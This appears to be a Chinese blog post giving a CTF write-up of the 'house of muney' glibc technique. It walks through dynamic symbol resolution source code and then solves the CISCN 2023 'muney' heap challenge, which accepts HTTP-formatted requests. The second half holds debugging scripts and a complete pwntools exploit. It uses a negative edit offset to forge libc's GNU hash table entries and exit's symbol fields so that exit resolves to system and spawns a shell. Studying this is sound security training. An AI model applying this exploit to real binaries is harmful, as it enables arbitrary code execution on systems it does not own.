当前位置: 首页 > article >正文

house_of_muney

house_of_muney 

首先介绍一下house of muney 这个利用原理:

在了解过_dl_runtime_resolve的前提下,当程序保护开了延迟绑定的时候,程序第一次调用相关函数的时候会执行下面的命令

push n
push ModuleID
jmp _dl_runtime_resolve

这里的n对应的是这个符号在rel.plt重定位表中的下标然后第二个MoudleID则一般是本程序的link_map结构体的地址,解析来就进入到了_dl_runtime_resolve函数 

我们来看看这个函数做了什么

/* This function is called through a special trampoline from the PLT the first time each PLT entry is called.  We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.Future calls will bounce directly from the PLT to the
   function.  */

DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
	   ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
	   struct link_map *l, ElfW(Word) reloc_arg)
{
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

      /* We need to keep the scope around so do some locking.  This is
	 not necessary for objects which cannot be unloaded or when
	 we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
	{
	  THREAD_GSCOPE_SET_FLAG ();
	  flags |= DL_LOOKUP_GSCOPE_LOCK;
	}

#ifdef RTLD_ENABLE_FOREIGN_CALL
      RTLD_ENABLE_FOREIGN_CALL;
#endif

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
	THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
      RTLD_FINALIZE_FOREIGN_CALL;
#endif

      /* Currently result contains the base load address (or link map)
	 of the object that defines sym.  Now add in the symbol
	 offset.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

  return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

可以看见又继续调用_dl_lookup_symbol_x这个函数 ,它会开始在link_map寻找符号,实际上调用了do_lookup_x

* Inner part of the lookup functions.  We return a value > 0 if we
   found the symbol, the value 0 if nothing is found and < 0 if
   something bad happened.  */
static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
	     unsigned long int *old_hash, const ElfW(Sym) *ref,
	     struct sym_val *result, struct r_scope_elem *scope, size_t i,
	     const struct r_found_version *const version, int flags,
	     struct link_map *skip, int type_class, struct link_map *undef_map)
{
  size_t n = scope->r_nlist;
  /* Make sure we read the value before proceeding.  Otherwise we
     might use r_list pointing to the initial scope and r_nlist being
     the value after a resize.  That is the only path in dl-open.c not
     protected by GSCOPE.  A read barrier here might be to expensive.  */
  __asm volatile ("" : "+r" (n), "+m" (scope->r_list));
  struct link_map **list = scope->r_list;

  do
    {
      const struct link_map *map = list[i]->l_real;

      /* Here come the extra test needed for `_dl_lookup_symbol_skip'.  */
      if (map == skip)
	continue;

      /* Don't search the executable when resolving a copy reloc.  */
      if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
	continue;

      /* Do not look into objects which are going to be removed.  */
      if (map->l_removed)
	continue;

      /* Print some debugging info if wanted.  */
      if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
	_dl_debug_printf ("symbol=%s;  lookup in file=%s [%lu]\n",
			  undef_name, DSO_FILENAME (map->l_name),
			  map->l_ns);

      /* If the hash table is empty there is nothing to do here.  */
      if (map->l_nbuckets == 0)
	continue;

      Elf_Symndx symidx;
      int num_versions = 0;
      const ElfW(Sym) *versioned_sym = NULL;

      /* The tables for this map.  */
      // 找到符号表和字符串表(当前link_map)
      const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

      const ElfW(Sym) *sym;
      // 获取bitmask
      const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
      if (__glibc_likely (bitmask != NULL))
	{
      // 获取bitmask_word,这里需要伪造
	  ElfW(Addr) bitmask_word
	    = bitmask[(new_hash / __ELF_NATIVE_CLASS)
		      & map->l_gnu_bitmask_idxbits];

	  unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
	  unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
				   & (__ELF_NATIVE_CLASS - 1));

	  if (__glibc_unlikely ((bitmask_word >> hashbit1)
				& (bitmask_word >> hashbit2) & 1))
	    {
          // 获取bucket,这里需要伪造
	      Elf32_Word bucket = map->l_gnu_buckets[new_hash
						     % map->l_nbuckets];
	      if (bucket != 0)
		{
          // hasharr,这里也需要伪造对应的值
		  const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];

		  do
		    if (((*hasharr ^ new_hash) >> 1) == 0)
		      {
			symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
			sym = check_match (undef_name, ref, version, flags,
					   type_class, &symtab[symidx], symidx,
					   strtab, map, &versioned_sym,
					   &num_versions);
			if (sym != NULL)
			  goto found_it;
		      }
		  while ((*hasharr++ & 1u) == 0);
		}
	    }
          //....
  }

这里是roderick师傅做了注释之后的代码,上面标注了我们需要伪造的值

  1. bitmask_word
  2. bucket
  3. hasharr

还有两个比较重要的值就是set_name 和set_value,前半部分是通过查找该函数符号和strtab之间的偏移得到的,不同的程序得到的不同,而set_vaule是通过相应的libc环境编译而来的的对于需求函数,这里也是通过调试获得,简而言之,如果控制了set_name 就可以正确解析到相应的函数名,控制了set_vaule就可以控制调用函数解析到需求函数的地址进而调用需求函数。

在2023年的CISCN有一道题目

muney

保护策略

ida逆向分析

是一个堆题,前提是需要实验http格式发送相应选项,让web手给说个形式

比如使用

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

来定义edit函数,其余的以此类推

这题的漏洞主要在edit函数,只限制不能超过申请堆块大小,但是没有限制长度为负数,也是就可以修改到低地址处的内容,比如可以修改堆块size

此外这题的malloc函数给的范围在0xFFFFF以上及申请0x100000大小的堆块以上,那么意味着申请的堆块由mmp直接分配,那么会在libc上面mmp出一块内存

给的后门是exit(/bin/sh)

如果给exit解析成system即可拿到shell

这里就需要伪造libc里面的一系列上面提到的内容

这里给出调试脚本

from gt import *
con("amd64")

p = process("./muney")
#p = remote("127.0.0.1","9999")

def create(size,content_length,content):
    payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
    return payload

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

    return payload

def delete(idx):
    payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16

    return payload

def quit():
    payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
    return payload
gdb.attach(p)
p.sendafter("HTTP_Parser> ",quit())
p.interactive()

这里需要源码级的调试,在事先导入源码目录

push n ...... 进入 _dl_runtime_resolve

继续步入进入_dl_fixup

在这里先空走一轮while循环,因为这里看的是第二次解析的地址

这里看一下bitmask_word 的内容

继续往后走,这里看一下bucket 的内容

然后看一下hasharr的内容

因为环境是20.04环境,我这里使用20.04虚拟机来找偏移

这里0x46a40是exit的set_vuale set_name需要找一下strtab和exit字符串的偏移

这里需要尝试,找到哪一个才是真正的偏移。然后需要找一下同环境下的system的set_vuale

写一个程序验证一下

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main(){
char *buff;
read(0,buff,0x20);
system("/bin/sh");
return 0;
}

需要开启延迟绑定,然后关闭pie保护

找到发现是0x52290

那么现在该有的都有,只需要找一下偏移即可

这里要注意,实际的偏移和输入的偏移相差0x1000,因为在起始地址时候减少了0x1000

所以这里要输入0x152b78,以此类推

EXP

from gt import *
con("amd64")

#p = process("./muney")
p = remote("127.0.0.1","9999")

def create(size,content_length,content):
    payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+content
    return payload

def edit(idx,offset,content_length,content):
    payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

    return payload

def delete(idx):
    payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16

    return payload

def quit():
    payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16
    return payload

p.sendafter("HTTP_Parser> ",create(0x150000,16,'a'*16))
p.sendafter("HTTP_Parser> ",edit(0,-8,3,b'\x02\x10\x17'))
#gdb.attach(p)

p.sendafter("HTTP_Parser> ",delete(0))

p.sendafter("HTTP_Parser> ",create(0x171002,16,'b'*16))


p.sendafter("HTTP_Parser> ",edit(0,0x152b78,8,p64(0xf010028c0201130e)))#write data to bitmask_word
p.sendafter("HTTP_Parser> ",edit(0,0x152ca0,1,p8(0x86)))#write data to bucket
p.sendafter("HTTP_Parser> ",edit(0,0x153d6c,8,p64(0x7c967e3e7c93f2a0)))#write data to hasharr
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x8,3,b"\x90\x22\x05"))#write data to exit@st_value

p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10,3,b"\xbd\xa1\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+6,1,b"\x0f"))#write data to exit@st_name


p.sendafter("HTTP_Parser> ",quit())
p.interactive()

这里面有几个点需要注意,第一个是bitmask_word的内容做了一点改变,用看见的内容不行,用这个也许0xaaa101010210130e也就是后4位需要注意。

还有一个就是set_name这个后面4位是需要调试出来的,第四位和第六位程序里面里面得到

result

参考

https://www.cnblogs.com/LynneHuan/p/17822130.html


http://www.kler.cn/news/340928.html

相关文章:

  • Hadoop服务端口号、Spark端口号、Hive端口号以及启动命令
  • 基于 Spring Boot + Quartz 实现定时任务持久化配置
  • 水下图像增强(论文复现)
  • Anaconda创建环境
  • 深度学习:循环神经网络—RNN的原理
  • Python知识点:利用Python工具,如何使用OpenCV进行图像处理
  • Tailwind Css的使用
  • java的LinkedList
  • 搜维尔科技:使用 SenseGlove Nova 2 远程操作机械手,实现了对鸡蛋的精细操控
  • elasticsearch ES DBA常用语句
  • 手写mybatis之细化XML语句构建器,完善静态SQL解析
  • 从0到1:如何利用MemFire Cloud快速上线你的应用?
  • TCP协议的三次握手与四次挥手的过程
  • 机器学习可视化教程——混淆矩阵与回归图
  • 递归基本操作总结
  • 数据中心运维挑战:性能监控的困境与智能化解决方案的探寻
  • 快餐食品检测系统源码分享[一条龙教学YOLOV8标注好的数据集一键训练_70+全套改进创新点发刊_Web前端展示]
  • 超轻巧modbus调试助手使用说明
  • recyclerView(kotlin)
  • 非结构化数据管理中的元数据应用与实践